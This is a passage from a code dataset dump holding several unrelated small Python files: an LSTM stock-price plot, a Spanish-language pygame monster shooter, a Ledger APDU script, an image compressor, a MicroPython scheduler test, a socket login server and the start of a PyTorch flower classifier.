, : ]\nfor i in range(60,len(test_data)):\n x_test.append(test_data[i-60:i,0])\n\n#Convert x_test to a numpy array\nx_test = np.array(x_test)\n\n#Reshape the data into the shape accepted by the LSTM\nx_test = np.reshape(x_test, (x_test.shape[0],x_test.shape[1],1))\n\n#Getting the models predicted price values\npredictions = model.predict(x_test)\npredictions = scaler.inverse_transform(predictions)#Undo scaling\n\n#Calculate/Get the value of RMSE\nrmse=np.sqrt(np.mean(((predictions- y_test)**2)))\nrmse\n\n#Plot/Create the data for the graph\ntrain = data[:training_data_len]\nvalid = data[training_data_len:]\nvalid['Predictions'] = predictions\n#Visualize the data\nplt.figure(figsize=(16,8))\nplt.title('60-day Prediction Model')\nplt.xlabel('Date', fontsize=18)\nplt.ylabel('Close Price USD ($)', fontsize=18)\nplt.plot(train['Tesla Close Price'])\nplt.plot(valid[['Tesla Close Price', 'Predictions']])\nplt.legend(['Train', 'Val', 'Predictions'], loc='lower right')\nplt.show()","sub_path":"long_short_term_memory.py","file_name":"long_short_term_memory.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"169590053","text":"import matplotlib.pyplot as plt\nimport csv\n\nx = []\ny = []\n\nwith open('monsters.csv','r') as csvfile:\n plots = csv.reader(csvfile, delimiter=',')\n header = True\n for row in plots:\n if header == True:\n header = False\n print(row[2])\n print(row[3])\n else:\n x.append(int(row[2]))\n y.append(int(row[3]))\n\nplt.plot(x,y, label='Loaded from file!')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('Interesting Graph\\nCheck it out')\nplt.legend()\nplt.show()","sub_path":"dungeon.py","file_name":"dungeon.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"29823177","text":"# Carlos Badillo García\r\n#\r\n\r\nimport pygame\r\nfrom random import randint\r\n\r\n\r\n# PANTALLA\r\nancho = 800\r\nalto = 600\r\nsuelo = 475\r\nnegro = (0, 0, 0)\r\nblanco = (255, 255, 255)\r\n\r\n# ESTADOS\r\nMenu = 1\r\nJugar = 2\r\nInstrucciones = 3\r\nPuntaje = 4\r\nDerrota = 5\r\nInformacion = 6\r\nVictoria = 7\r\n\r\n\r\ndef dibujarPersonaje(ventana, spritePersonaje):\r\n ventana.blit(spritePersonaje.image, spritePersonaje.rect)\r\n\r\n\r\ndef dibujarEnemigos(ventana, listaZombies, listaEsqueletos, listaMinotauros, listaHLobos):\r\n for zombie in listaZombies:\r\n ventana.blit(zombie.image, zombie.rect)\r\n for esqueleto in listaEsqueletos:\r\n ventana.blit(esqueleto.image, esqueleto.rect)\r\n for minotauro in listaMinotauros:\r\n ventana.blit(minotauro.image, minotauro.rect)\r\n for hlobos in listaHLobos:\r\n ventana.blit(hlobos.image, hlobos.rect)\r\n\r\n\r\ndef moverEnemigos(listaZombies, listaEsqueletos, listaMinotauros, listaHLobos):\r\n for zombie in listaZombies:\r\n zombie.rect.left -= 1.75\r\n for esqueleto in listaEsqueletos:\r\n esqueleto.rect.left -= 1.25\r\n for minotauro in listaMinotauros:\r\n minotauro.rect.left -= 1.25\r\n for hlobos in listaHLobos:\r\n hlobos.rect.left -= 2.5\r\n\r\n\r\ndef dibujarBalas(ventana, listaBalas):\r\n for bala in listaBalas:\r\n ventana.blit(bala.image, bala.rect)\r\n\r\n\r\ndef moverBalas(listaBalas):\r\n for bala in listaBalas:\r\n bala.rect.left += 5\r\n\r\n\r\ndef dibujarCorazones(ventana, vidaPersonaje):\r\n xc = 12\r\n for corazon in vidaPersonaje:\r\n ventana.blit(corazon.image, (xc, 12))\r\n xc += 50\r\n\r\n\r\ndef quitarVidasPer(choqueD, choqueF, vidaPersonaje):\r\n for vida in vidaPersonaje:\r\n if choqueD == True:\r\n vidaPersonaje.remove(vida)\r\n break\r\n elif choqueF == True:\r\n vidaPersonaje.remove(vida) and vidaPersonaje.remove(vida)\r\n\r\n\r\ndef verificarChoqueDeb(listaZombies, listaEsqueletos, listaHLobos, spritePersonaje):\r\n for zombie in listaZombies:\r\n xp = spritePersonaje.rect.left\r\n yp = spritePersonaje.rect.bottom\r\n wp = spritePersonaje.rect.width\r\n\r\n xz = zombie.rect.left\r\n yz = zombie.rect.bottom\r\n wz = zombie.rect.width\r\n hz = zombie.rect.height\r\n\r\n if xp >= xz and xp <= xz + wz and xp + wp >= xz and xp + wp <= xz + wz and yp >= yz - hz and yp <= yz:\r\n listaZombies.remove(zombie)\r\n return True\r\n\r\n for esqueleto in listaEsqueletos:\r\n xp = spritePersonaje.rect.left\r\n yp = spritePersonaje.rect.bottom\r\n wp = spritePersonaje.rect.width\r\n\r\n xe = esqueleto.rect.left\r\n ye = esqueleto.rect.bottom\r\n we = esqueleto.rect.width\r\n he = esqueleto.rect.height\r\n\r\n if xp >= xe and xp <= xe + we and xp + wp >= xe and xp + wp <= xe + we and yp >= ye - he and yp <= ye:\r\n listaEsqueletos.remove(esqueleto)\r\n return True\r\n\r\n for hlobo in listaHLobos:\r\n xp = spritePersonaje.rect.left\r\n yp = spritePersonaje.rect.bottom\r\n wp = spritePersonaje.rect.width\r\n\r\n xhl = hlobo.rect.left\r\n yhl = hlobo.rect.bottom\r\n whl = hlobo.rect.width\r\n hhl = hlobo.rect.height\r\n\r\n if xp >= xhl and xp <= xhl + whl and xp + wp >= xhl and xp + wp <= xhl + whl and yp >= yhl - hhl and yp <= yhl:\r\n listaHLobos.remove(hlobo)\r\n return True\r\n\r\n\r\ndef verificarChoqueFuer(listaMinotauros, spritePersonaje):\r\n for minotauro in listaMinotauros:\r\n xp = spritePersonaje.rect.left\r\n yp = spritePersonaje.rect.bottom\r\n wp = spritePersonaje.rect.width\r\n\r\n xm = minotauro.rect.left\r\n ym = minotauro.rect.bottom\r\n wm = minotauro.rect.width\r\n hm = minotauro.rect.height\r\n\r\n if xp >= xm and xp <= xm + wm and xp + wp >= xm and xp + wp <= xm + wm and yp >= ym - hm and yp <= ym:\r\n listaMinotauros.remove(minotauro)\r\n return True\r\n\r\n\r\ndef verificarChoqueEnemigos(listaZombies, listaEsqueletos, listaHLobos, listaMinotauros, listaBalas):\r\n for bala in listaBalas:\r\n for zombie in listaZombies:\r\n\r\n xb = bala.rect.left\r\n yb = bala.rect.bottom\r\n\r\n xz = zombie.rect.left\r\n yz = zombie.rect.bottom\r\n wz = zombie.rect.width\r\n hz = zombie.rect.height\r\n\r\n if xb >= xz and xb <= xz + wz and yb >= yz - hz and yb <= yz:\r\n listaZombies.remove(zombie)\r\n listaBalas.remove(bala)\r\n return True\r\n\r\n for bala in listaBalas:\r\n for esqueleto in listaEsqueletos:\r\n\r\n xb = bala.rect.left\r\n yb = bala.rect.bottom\r\n\r\n xe = esqueleto.rect.left\r\n ye = esqueleto.rect.bottom\r\n we = esqueleto.rect.width\r\n he = esqueleto.rect.height\r\n\r\n if xb >= xe and xb <= xe + we and yb >= ye - he and yb <= ye:\r\n listaBalas.remove(bala)\r\n break\r\n\r\n for bala in listaBalas:\r\n for hlobos in listaHLobos:\r\n\r\n xb = bala.rect.left\r\n yb = bala.rect.bottom\r\n\r\n xhl = hlobos.rect.left\r\n yhl = hlobos.rect.bottom\r\n whl = hlobos.rect.width\r\n hhl = hlobos.rect.height\r\n\r\n if xb >= xhl and xb <= xhl + whl and yb >= yhl - hhl and yb <= yhl:\r\n listaBalas.remove(bala)\r\n listaHLobos.remove(hlobos)\r\n return True\r\n\r\n for bala in listaBalas:\r\n for minotauro in listaMinotauros:\r\n\r\n xb = bala.rect.left\r\n yb = bala.rect.bottom\r\n\r\n xm = minotauro.rect.left\r\n ym = minotauro.rect.bottom\r\n wm = minotauro.rect.width\r\n hm = minotauro.rect.height\r\n\r\n if xb >= xm and xb <= xm + wm and yb >= ym - hm and yb <= ym:\r\n listaBalas.remove(bala)\r\n listaMinotauros.remove(minotauro)\r\n return True\r\n\r\ndef checarPuntaje(choque, puntaje):\r\n if choque == True:\r\n puntaje += 15\r\n else:\r\n return puntaje\r\n\r\n\r\ndef llegarFinal(spritePersonaje):\r\n xp = spritePersonaje.rect.left\r\n wp = spritePersonaje.rect.width\r\n\r\n if xp + wp == 5600:\r\n return True\r\n\r\n\r\ndef dibujarMenu(ventana, BotonJugar, BotonIns, BotonPun, BotonInfo):\r\n ventana.blit(BotonJugar, (25, 210))\r\n ventana.blit(BotonInfo, (25, 280))\r\n ventana.blit(BotonIns, (25, 350))\r\n ventana.blit(BotonPun, (25, 420))\r\n\r\n\r\ndef dibujarJuego():\r\n pygame.init()\r\n\r\n ventana = pygame.display.set_mode((ancho, alto))\r\n reloj = pygame.time.Clock()\r\n termina = False\r\n\r\n # PERSONAJE\r\n imgPersonaje = pygame.image.load(\"Personaje.png\")\r\n spritePersonaje = pygame.sprite.Sprite()\r\n spritePersonaje.image = imgPersonaje\r\n spritePersonaje.rect = imgPersonaje.get_rect()\r\n spritePersonaje.rect.left = 0\r\n spritePersonaje.rect.bottom = (suelo + spritePersonaje.rect.height // 2)\r\n\r\n vidaPersonaje = []\r\n imgCorazon = pygame.image.load(\"Corazon.png\")\r\n for x in range(3):\r\n spriteCorazon = pygame.sprite.Sprite()\r\n spriteCorazon.image = imgCorazon\r\n spriteCorazon.rect = imgCorazon.get_rect()\r\n spriteCorazon.rect.left = 15\r\n spriteCorazon.rect.bottom = (40 + spriteCorazon.rect.height // 2)\r\n vidaPersonaje.append(spriteCorazon)\r\n\r\n # ENEMIGOS\r\n listaZombies = []\r\n imgZombie = pygame.image.load(\"Zombie.png\")\r\n for x in range(60):\r\n spriteZombie = pygame.sprite.Sprite()\r\n spriteZombie.image = imgZombie\r\n spriteZombie.rect = imgZombie.get_rect()\r\n spriteZombie.rect.left = randint(700, 2299)\r\n spriteZombie.rect.bottom = randint(0 + spriteZombie.rect.height // 2, suelo + 100)\r\n listaZombies.append(spriteZombie)\r\n\r\n listaEsqueletos = []\r\n imgEsqueleto = pygame.image.load(\"Esqueleto.png\")\r\n for x in range(80):\r\n spriteEsqueleto = pygame.sprite.Sprite()\r\n spriteEsqueleto.image = imgEsqueleto\r\n spriteEsqueleto.rect = imgEsqueleto.get_rect()\r\n spriteEsqueleto.rect.left = randint(1300, 6400)\r\n spriteEsqueleto.rect.bottom = randint(0 + spriteEsqueleto.rect.height // 2, suelo + 100)\r\n listaEsqueletos.append(spriteEsqueleto)\r\n\r\n listaHLobos = []\r\n imgHLobo = pygame.image.load(\"HombreLobo.png\")\r\n for x in range(60):\r\n spriteHLobo = pygame.sprite.Sprite()\r\n spriteHLobo.image = imgHLobo\r\n spriteHLobo.rect = imgHLobo.get_rect()\r\n spriteHLobo.rect.left = randint(1799, 6400)\r\n spriteHLobo.rect.bottom = randint(0 + spriteHLobo.rect.height // 2, suelo + 100)\r\n listaHLobos.append(spriteHLobo)\r\n\r\n listaMinotauros = []\r\n imgMinotauro = pygame.image.load(\"Minotauro.png\")\r\n for x in range(50):\r\n spriteMinotauro = pygame.sprite.Sprite()\r\n spriteMinotauro.image = imgMinotauro\r\n spriteMinotauro.rect = imgMinotauro.get_rect()\r\n spriteMinotauro.rect.left = randint(700, 6400)\r\n spriteMinotauro.rect.bottom = randint(0 + spriteMinotauro.rect.height // 2, suelo + 100)\r\n listaMinotauros.append(spriteMinotauro)\r\n\r\n # BALAS\r\n listaBalas = []\r\n imgBala = pygame.image.load(\"Bala.png\")\r\n\r\n # FONDO\r\n FondoMenu = pygame.image.load(\"Bosque.png\")\r\n FondoBosque = pygame.image.load(\"BosqueT.jpg\")\r\n FondoCueva = pygame.image.load(\"Cueva.png\")\r\n FondoPantano = pygame.image.load(\"Pantano.jpg\")\r\n FondoCasa = pygame.image.load(\"CasaEmbr.jpg\")\r\n xf = 0\r\n FondoNegro = pygame.image.load(\"Fnegro.jpg\")\r\n Gover = pygame.image.load(\"Gover.jpg\")\r\n Uwin = pygame.image.load(\"Uwin.png\")\r\n\r\n # MENU\r\n BotonJugar = pygame.image.load(\"BotonJugar.png\")\r\n BotonIns = pygame.image.load(\"BotonIns.png\")\r\n Ins = pygame.image.load(\"Instrucciones.png\")\r\n BotonPun = pygame.image.load(\"BotonPun.png\")\r\n BotonInfo = pygame.image.load(\"BotonInfo.png\")\r\n Info = pygame.image.load(\"Informacion.png\")\r\n BotonX = pygame.image.load(\"BotonX.png\")\r\n\r\n estado = Menu\r\n\r\n # MUSICA\r\n pygame.mixer.init()\r\n pygame.mixer.music.load(\"MusicaJuego.mp3\")\r\n pygame.mixer.music.play(-1)\r\n\r\n # TEXTO\r\n fuente = pygame.font.SysFont(\"castellar\", 64)\r\n\r\n while not termina:\r\n for evento in pygame.event.get():\r\n if evento.type == pygame.QUIT:\r\n termina = True\r\n\r\n elif evento.type == pygame.KEYDOWN:\r\n if evento.key == pygame.K_a:\r\n spritePersonaje.rect.left -= 10\r\n elif evento.key == pygame.K_d:\r\n spritePersonaje.rect.left += 10\r\n elif evento.key == pygame.K_w:\r\n spritePersonaje.rect.bottom -= 20\r\n elif evento.key == pygame.K_s:\r\n spritePersonaje.rect.bottom += 20\r\n elif evento.key == pygame.K_SPACE:\r\n spriteBala = pygame.sprite.Sprite()\r\n spriteBala.image = imgBala\r\n spriteBala.rect = imgBala.get_rect()\r\n spriteBala.rect.left = spritePersonaje.rect.left + spritePersonaje.rect.width\r\n spriteBala.rect.bottom = spritePersonaje.rect.bottom - spritePersonaje.rect.width + 18\r\n listaBalas.append(spriteBala)\r\n\r\n elif evento.type == pygame.MOUSEBUTTONUP:\r\n xm, ym = pygame.mouse.get_pos()\r\n print(xm, \",\", ym)\r\n\r\n xbj = 25\r\n ybj = 210\r\n if xm >= xbj and xm <= xbj + 201 and ym >= ybj and ym <= ybj + 51:\r\n estado = Jugar\r\n\r\n xbj = 25\r\n ybj = 280\r\n if xm >= xbj and xm <= xbj + 201 and ym >= ybj and ym <= ybj + 51:\r\n estado = Informacion\r\n\r\n xbi = 25\r\n ybi = 350\r\n if xm >= xbi and xm <= xbi + 201 and ym >= ybi and ym <= ybi + 51:\r\n estado = Instrucciones\r\n\r\n xbp = 25\r\n ybp = 420\r\n if xm >= xbp and xm <= xbp + 201 and ym >= ybp and ym <= ybp + 51:\r\n estado = Puntaje\r\n\r\n xbx = 745\r\n ybx = 20\r\n if xm >= xbx and xm <= xbx + 201 and ym >= ybx and ym <= ybx + 51:\r\n estado = Menu\r\n\r\n ventana.fill(blanco)\r\n\r\n if estado == Jugar:\r\n\r\n # DIBUJAR FONDOS\r\n ventana.blit(FondoBosque, (xf, 0))\r\n xf -= .2\r\n ventana.blit(FondoBosque, ((xf + 800), 0))\r\n xf -= .2\r\n ventana.blit(FondoCasa, ((xf + 1600), 0))\r\n xf -= .2\r\n ventana.blit(FondoCasa, ((xf + 2400), 0))\r\n xf -= .2\r\n ventana.blit(FondoPantano, ((xf + 3200), 0))\r\n xf -= .2\r\n ventana.blit(FondoPantano, ((xf + 4000), 0))\r\n xf -= .2\r\n ventana.blit(FondoCueva, ((xf + 4800), 0))\r\n xf -= .2\r\n ventana.blit(FondoCueva, ((xf + 5600), 0))\r\n xf -= .2\r\n\r\n # OTROS\r\n dibujarPersonaje(ventana, spritePersonaje)\r\n dibujarCorazones(ventana, vidaPersonaje)\r\n\r\n dibujarEnemigos(ventana, listaZombies, listaEsqueletos, listaMinotauros, listaHLobos)\r\n dibujarBalas(ventana, listaBalas)\r\n\r\n moverBalas(listaBalas)\r\n moverEnemigos(listaZombies, listaEsqueletos, listaMinotauros, listaHLobos)\r\n\r\n choqueD = verificarChoqueDeb(listaZombies, listaEsqueletos, listaHLobos, spritePersonaje)\r\n choqueF = verificarChoqueFuer(listaMinotauros, spritePersonaje)\r\n\r\n choque = verificarChoqueEnemigos(listaZombies, listaEsqueletos, listaMinotauros, listaHLobos, listaBalas)\r\n puntaje = 0\r\n puntos = checarPuntaje(choque, puntaje)\r\n\r\n\r\n quitarVidasPer(choqueD, choqueF, vidaPersonaje)\r\n\r\n if len(vidaPersonaje) == 0:\r\n estado = Derrota\r\n\r\n victoria = llegarFinal(spritePersonaje)\r\n\r\n if victoria == True:\r\n estado = Victoria\r\n\r\n elif estado == Informacion:\r\n ventana.blit(FondoMenu, (0, 0))\r\n ventana.blit(Info, (0, 0))\r\n ventana.blit(BotonX, (745, 20))\r\n\r\n elif estado == Instrucciones:\r\n ventana.blit(FondoMenu, (0, 0))\r\n ventana.blit(Ins, (0, 0))\r\n ventana.blit(BotonX, (745, 20))\r\n\r\n elif estado == Puntaje:\r\n ventana.blit(FondoMenu, (0, 0))\r\n ventana.blit(BotonX, (745, 20))\r\n texto = fuente.render(\"PUNTOS OBTENIDOS: %d\" %puntos)\r\n ventana.blit(texto, (ancho // 2 - 300, 50))\r\n\r\n elif estado == Derrota:\r\n ventana.blit(FondoNegro, (0, 0))\r\n ventana.blit(Gover, (170, 200))\r\n\r\n elif estado == Victoria:\r\n ventana.blit(FondoNegro, (0, 0))\r\n ventana.blit(Uwin, (100, 200))\r\n\r\n elif estado == Menu:\r\n ventana.blit(FondoMenu, (0, 0))\r\n dibujarMenu(ventana, BotonJugar, BotonIns, BotonPun, BotonInfo)\r\n\r\n pygame.display.flip()\r\n reloj.tick(40)\r\n\r\n pygame.quit()\r\n\r\n\r\ndef main():\r\n dibujarJuego()\r\n\r\nmain()","sub_path":"JuegoCBGBueno.py","file_name":"JuegoCBGBueno.py","file_ext":"py","file_size_in_byte":15228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"70188779","text":"#!/usr/bin/env python\n\nfrom ledgerblue.comm import getDongle\nimport argparse\nfrom binascii import unhexlify\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--account_number', help=\"BIP32 account to retrieve. e.g. \\\"12345\\\".\")\nargs = parser.parse_args()\n\nif args.account_number == None:\n\targs.account_number = \"12345\"\n\naccount = '{:08x}'.format(int(args.account_number))\n\n# Create APDU message.\n# CLA 0xE0\n# INS 0x02 GET_ADDRESS\n# P1 0x01 USER CONFIRMATION REQUIRED (0x00 otherwise)\n# P2 0x00 UNUSED\n# Ask for confirmation\n# txt = \"E0020100\" + '{:02x}'.format(len(donglePath) + 1) + '{:02x}'.format( int(len(donglePath) / 4 / 2)) + donglePath\n# No confirmation\napduMessage = \"E0020100\" + '{:02x}'.format(len(account) + 1) + account\napdu = bytearray.fromhex(apduMessage)\n\nprint(\"~~ Ledger Boilerplate ~~\")\nprint(\"Request Address\")\n\ndongle = getDongle(True)\nresult = dongle.exchange(apdu)\n\nprint(\"Address received: \" + result.decode(\"utf-8\"))\n","sub_path":"tests/test_example.py","file_name":"test_example.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"641119423","text":"\n#from: https://stackoverflow.com/questions/10607468/how-to-reduce-the-image-file-size-using-pil\n\nimport os\nfrom PIL import Image\n\nmainFolderName = \"03\"\n\ntargetFolderName = mainFolderName + \"/after\"\n\nif not os.path.exists(targetFolderName):\n os.makedirs(targetFolderName)\n\nfor item in os.listdir(mainFolderName):\n if item.endswith('jpg'):\n img = Image.open(\"%s/%s\"%(mainFolderName,item))\n img = img.convert(\"RGB\")\n img.save(\"%s/%s\"%(targetFolderName,item),optimize=True,quality=30)\n\n","sub_path":"ReduceImageSize/ReduceImageSize.py","file_name":"ReduceImageSize.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"364848549","text":"import os\nimport re\n\nfrom setuptools import setup\n\n\ndef get_version():\n with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"virtualenv.py\")) as file_handler:\n version_file = file_handler.read()\n version_match = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\", version_file, re.M)\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string.\")\n\nsetup(name=\"virtualenvy\",\n description='A virtualenv fork',\n version=get_version(),\n author='Edgar Mamerto',\n author_email='edmamerto@gmail.com',\n py_modules=[\"virtualenv\", \"virtualenvy\"], \n setup_requires=[\"setuptools >= 40.6.3\"],\n entry_points={\n 'console_scripts': [\n 'virtualenvy=virtualenvy:create_venv'\n ]\n }\n\t )","sub_path":"pypi_install_script/virtualenvy-16.2.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"638399098","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport pymysql.cursors\nimport io\nfrom db_uploader import DbUploader \n\nclass Writer(object):\n\n # author ID for publishers.\n AUTHOR_ID = \"1\"\n\n SAVE_PATH = \"/var/pti/scrape/{0}.txt\"\n\n def __init__(self, conn):\n user = os.environ.get('PTI_USER')\n password = os.environ.get('PTI_PASSWORD')\n host = os.environ.get('PTI_HOST')\n database = os.environ.get('PTI_DB')\n self.conn = conn\n self.uploader = DbUploader(conn)\n\n def write_articles_file(self, content):\n articles_id = self.uploader.insert_articles_articles(content)\n if articles_id is None:\n return False\n\n self._write_wrticles_to_file(articles_id, content)\n return True\n\n def _write_wrticles_to_file(self, id, content):\n path = self.SAVE_PATH.format(id)\n with io.FileIO(path, \"w\") as file:\n file.write(content.text.encode('utf-8'))\n\n def replace_author(self, content):\n author_id = self.uploader.select_articles_authors(content.author_id)\n if author_id is None:\n author_id = self.uploader.insert_articles_authors(content.author_id)\n content.author_id = author_id\n","sub_path":"web-scraping/writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"52971715","text":"import sleepscheduler as sl\nimport utime\n\n\nINITIAL_DEEP_SLEEP_DELAY = 20\nset_on_cold_boot = False\n\n\ndef init_on_cold_boot():\n sl.schedule_at_sec(__name__, finish_test, utime.time() + 61)\n sl.schedule_at_sec(__name__, check_no_deep_sleep,\n utime.time() + INITIAL_DEEP_SLEEP_DELAY)\n global set_on_cold_boot\n set_on_cold_boot = True\n sl.schedule_immediately(__name__, every_14_seconds, 14)\n # also test schedule_immediately() with function_name\n sl.schedule_immediately(__name__, \"every_30_seconds\", 30)\n # test that a function with an exception it not scheduled anymore\n sl.schedule_immediately(__name__, function_div0, 10)\n sl.print_tasks()\n\n\ndef check_no_deep_sleep():\n print(\"check_no_deep_sleep(), time: {}\".format(utime.time()))\n if set_on_cold_boot:\n store_current_time()\n else:\n sl.remove_all_by_module_name(__name__)\n print(\"TEST_ERROR Deep sleep done within first '{}' seconds\".format(\n INITIAL_DEEP_SLEEP_DELAY))\n\n\ndef function_div0():\n store_current_time()\n return 1/0\n\n\ndef finish_test():\n print(\"finish_test(), time: {}\".format(utime.time()))\n # test removal with function and function_name\n sl.remove_all(__name__, every_14_seconds)\n sl.remove_all(__name__, \"every_30_seconds\")\n\n # also test other remove functions with adding a task back\n # remove_all_by_function_name() with function and function_name\n sl.schedule_immediately(__name__, every_14_seconds, 14)\n sl.remove_all_by_function_name(every_14_seconds)\n sl.schedule_immediately(__name__, every_14_seconds, 14)\n sl.remove_all_by_function_name(\"every_14_seconds\")\n # remove_all_by_module_name()\n sl.schedule_immediately(__name__, every_14_seconds, 14)\n sl.remove_all_by_module_name(__name__)\n\n expected = [0, 0, 0, 14, INITIAL_DEEP_SLEEP_DELAY, 28, 30, 42, 56]\n results = []\n\n index = 4\n while index < len(sl.rtc_memory_bytes):\n result = int.from_bytes(sl.rtc_memory_bytes[index - 4:index], 'big')\n results.append(result)\n index = index + 4\n\n failure = False\n if len(expected) == len(results):\n for i in range(len(expected)):\n if expected[i] != results[i]:\n failure = True\n print(\"TEST_ERROR wrong value at index '{}',' expected '{}', was '{}'\".format(\n i, expected[i], results[i]))\n else:\n print(\"TEST_ERROR Wrong amount of results. Expected '{}', was '{}'\".format(\n len(expected), len(results)))\n failure = True\n\n if not failure:\n print(\"TEST_SUCCESS\")\n\n\ndef every_30_seconds():\n print(\"every_30_seconds(), time: {}\".format(utime.time()))\n store_current_time()\n\n\ndef every_14_seconds():\n print(\"every_14_seconds(), time: {}\".format(utime.time()))\n store_current_time()\n\n\ndef store_current_time():\n bytes = utime.time().to_bytes(4, 'big')\n sl.rtc_memory_bytes = sl.rtc_memory_bytes + bytes\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"551624851","text":"from projects.originals.models import Original, DatasetCandidate\n\n\nclass CandidateManager(object):\n def is_exist_original(self, original_id):\n original = Original.objects.filter(id=original_id).first()\n if original is None:\n return False\n return True\n\n def delete_candidate(self, original_id):\n candidates = DatasetCandidate.objects.filter(original=original_id)\n for candidate in candidates:\n candidate.delete()\n\n def get_candidate(self, candidate_id):\n candidate = DatasetCandidate.objects.filter(id=candidate_id).first()\n content = {}\n if candidate is not None:\n content['id'] = candidate_id\n content['data_type'] = str(candidate.data_type)\n content['framme_count'] = candidate.frame_count\n content['analyzed_info'] = str(candidate.analyzed_info)\n return content\n","sub_path":"automan/api/projects/originals/candidate_manager.py","file_name":"candidate_manager.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"580008697","text":"from unittest.mock import patch\n\n\ndef datum_logic(day: int, month: int) -> str:\n days = 0\n days_per_month = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n day_names = ['Thursday', 'Friday', 'Saturday', 'Sunday', 'Monday', 'Tuesday', 'Wednesday']\n\n for m in range(1, month):\n days += days_per_month[m - 1]\n days += day - 1\n return day_names[days % 7]\n\n\ndef datum():\n day, month = list(map(int, input().split(' ')))\n print(datum_logic(day, month))\n\n\ndef test_d1(capsys):\n input = [\n '1 1'\n ]\n\n with patch('builtins.input', side_effect=input):\n datum()\n out, err = capsys.readouterr()\n\n assert out.split('\\n')[:-1] == [\n 'Thursday']\n\n\ndef test_d2():\n assert datum_logic(1, 1) == 'Thursday'\n assert datum_logic(17, 1) == 'Saturday'\n assert datum_logic(25, 9) == 'Friday'\n","sub_path":"python/datum/test_datum.py","file_name":"test_datum.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"63006564","text":"from pandas import read_csv\nfrom sklearn.model_selection import LeaveOneOut, cross_val_score\nfrom sklearn.linear_model import LogisticRegression\n\nfilename = 'pima-indians-diabetes.data.csv'\nnames = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class']\ndata = read_csv(filename, names = names)\narr = data.values\nX = arr[:, 0:8]\nY = arr[:, 8]\nloocv = LeaveOneOut()\nmodel = LogisticRegression()\nresults = cross_val_score(model, X, Y, cv=loocv)\nprint(\"Accuracy: %.3f%%, sb: %.3f%%\") % (results.mean() * 100.0, results.std() * 100.0)\n\n\n# it has more variance than the k-fold cross-validation\n","sub_path":"9.4_leave_one_out_cross_validation.py","file_name":"9.4_leave_one_out_cross_validation.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"302711427","text":"import json\nimport socket\nimport DB\n\n\nDB.create_table()\nsock = socket.socket()\nsock.bind(('', 9090))\nsock.listen(1)\nprint(DB.read_db())\n\n# print(DB_new.read_db())\nwhile True:\n conn, addr = sock.accept()\n print('connected:', addr)\n data = conn.recv(1024).decode()\n if data:\n json_data = json.loads(data)\n print(data)\n\n if json_data.get('fun') == 'reg':\n msg = DB.write_new_user(json_data)\n conn.send(msg)\n\n if json_data.get('fun') == 'log':\n msg = DB.login(json_data)\n conn.send(msg)\n\n if json_data.get('fun') == 'close':\n msg = b'Close connection'\n conn.send(msg)\n break\n conn.close()\n\n\n\n","sub_path":"serv.py","file_name":"serv.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"96279040","text":"import torch\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\nimport PIL\nimport json\nimport numpy as np\nimport sys\nimport argparse\n\n\ndef get_args():\n # Initialization\n parser = argparse.ArgumentParser()\n # Add Arguments\n parser.add_argument('--image_path', type = str, default = 'flowers/test/1/image_06743.jpg', \n help = 'path to image file for prediction(default: flowers/test/1/image_06743.jpg)')\n parser.add_argument('--json_path', type = str, default = 'cat_to_name.json', \n help = 'path to label json file(default: cat_to_name.json)')\n parser.add_argument('--file_path', type = str, default = 'checkpoint.pth', \n help = 'path to checkpoint file(default: checkpoint.pth)')\n parser.add_argument('--topk', type = int, default = 5, \n help = 'Number of Topk(default: 5)')\n parser.add_argument('--gpu_mode', type = str, default = 'on', \n help = 'To use GPU, set it as \"on\". Else, CPU mode.')\n return parser.parse_args()\n\n\nclass Classifier(nn.Module):\n def __init__(self, linear0, linear1, linear2, linear3, dropout_p):\n \n super().__init__()\n \n self.fc1 = nn.Linear(linear0, linear1)\n self.fc2 = nn.Linear(linear1, linear2)\n self.fc3 = nn.Linear(linear2, linear3)\n \n self.dropout = nn.Dropout(p = dropout_p)\n \n def forward(self, x):\n \n x = self.dropout(F.relu(self.fc1(x)))\n x = self.dropout(F.relu(self.fc2(x)))\n \n # Output\n x = F.log_softmax(self.fc3(x), dim = 1)\n return x\n\n\ndef load_cat_to_name(json_path):\n \"\"\"Load Label Name from JSON file.\"\"\"\n with open(json_path, 'r') as f:\n 